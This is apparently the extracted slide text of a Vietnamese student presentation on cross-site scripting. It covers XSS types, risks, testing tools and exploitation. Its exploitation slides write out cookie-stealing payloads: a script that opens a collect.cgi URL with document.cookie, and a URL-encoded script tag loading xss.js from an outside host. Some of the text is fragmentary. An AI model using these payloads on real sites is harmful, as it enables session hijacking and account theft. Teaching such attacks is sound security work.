Kỹ thuật tấn công XSS
Người thực hiện:Nguyễn Hữu Chung
Nội Dung
1.
Giới thiệu về XSS
2.
Các hình thức tồn tại của XSS
3.
Mức độ nguy hiểm của XSS
4.
Mục đích mà XSS hướng tới
5.
Kiểm tra lỗi XSS
6.
Khai thác lỗi XSS
7.
Phòng chống XSS
Giới thiệu về XSS
XSS(Cross-Site Scripting)
Chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay
những đoạn mã script nguy hiểm có thể gây nguy hại cho những nạn nhân sử
dụng.
Được viết bằng các Client-Site Script như:JavaScript,Jscript,DHTML..
Không nhằm vào server.
Chủ yếu tấn công vào client (user) (kiến thức kém, tò mò, an ninh lỏng lẻo)
Dụ nạn nhân click vào các url kích hoạt mã độc
Các hình thức tồn tại của XSS
Stored XSS
Reflected XSS
DOM-based XSS
Các hình thức tồn tại của XSS
Stored XSS
Phát sinh do không lọc dữ liệu gửi lên một cách đúng đắn
Kẻ tấn công chèn đoạn script nguy hiểm vào website
Mã độc được lưu lại trong database của website
Các hình thức tồn tại của XSS
Stored XSS
Các hình thức tồn tại của XSS
Reflected XSS
Loại này xuất hiện khi dữ liệu được cung cấp từ một web client nào đó
Tìm lỗ hổng bảo mật trên website bằng cách gắn một đoạn mã test vào web
client để web client gửi đến server và chờ phản hồi của web server để tìm ra lỗ
hổng bảo mật
Xảy ra do không chú ý filter input (lọc sữ liệu đầu vào) từ URL của website
Các hình thức tồn tại của XSS
Reflected XSS
Các hình thức tồn tại của XSS
DOM-based XSS
Một dạng tấn công XSS làm thay đổi cấu trúc của trang web bằng cách thay
đổi cấu trúc HTML
Hacker sẽ chèn các đoạn script nhằm làm thay đổi giao diện mặc định của
trang web thành một giao diện giả
Người dùng vào web giả thì hacker sẽ thu được mật khẩu người dùng
Các hình thức tồn tại của XSS
DOM-based XSS
Mức độ nguy hiểm của XSS
Mục đích mà XSS hướng tới
Cookie: Hacker có thể lấy được cookie của người dùng và dùng những
thông tin trong cookie để giả mạo phiên truy cập hoặc lấy những thông tin
nhạy cảm khác được lưu trong cookie.
Keylogging: Hacker có thể ghi lại những thao tác gõ phím của người dùng
và gửi tất cả những thao tác gõ phím đó về cho hắn để thực hiện những
mục đích như đánh cắp các thông tin nhạy cảm, lấy mật khẩu truy cập
website hoặc mã số thẻ tín dụng…
Phishing: Hacker có thể thay đổi giao diện của website bằng cách thay đổi
cấu trúc HTML trong trang web để đánh lừa người dùng. Hacker có thể
tạo ra những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để
đánh cắp mật khẩu
Hoạt động của XSS
Cho phép chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình
duyệt của người dùng. Thường thì XSS có dạng như sau:
/>XSS”)</script>
Hoạt động của XSS
XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình
duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website
nằm trên server.
Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã
hóa nên người dùng khó mà phát hiện ra
Hoạt động của XSS
Đây là cách mã hoá(HEX) các kí tự thường dùng trong lỗi XSS của thanh
AddressBar của Browser
Kiểm tra lỗi XSS
1.
2.
Dùng tool: Paros Proxy, WebInspect, Acunetix Web Vulnerability
Scanner. Watchfire AppScan….
Kiểm tra bằng code
Kiểm tra lỗi XSS
1.
2.
3.
Mở Web
Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form
Chèn code vào
Kiểm tra lỗi XSS
Kết quả
Khai thác lỗi XSS
Khai thác lỗi XSS
Các cách thực hiện
1.Lấy cookies
2.Lấy account
Khai thác lỗi XSS
Lấy cookies
vTạo một file info.txt và upload lên host.
vTạo file cookie.php upload file này lên host.
3. để lại một link:
e/welcome.cgi?
name=<script>window.open(“e/collect.cgi?
cookie=”%2Bdocument.cookie)</script>
Khai thác lỗi XSS
Lấy account
1.Tạo một file info.txt và xss.js rồi upload lên host
2.Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý
http:// hostxss.com /search.php?s="> src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>
Khai thác lỗi XSS
Kẻ tấn công dùng XSS để lừa đảo
Hướng trình duyệt của người dùng đến trang web mà Attacker thiết kế sẵn!
Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code
như sau: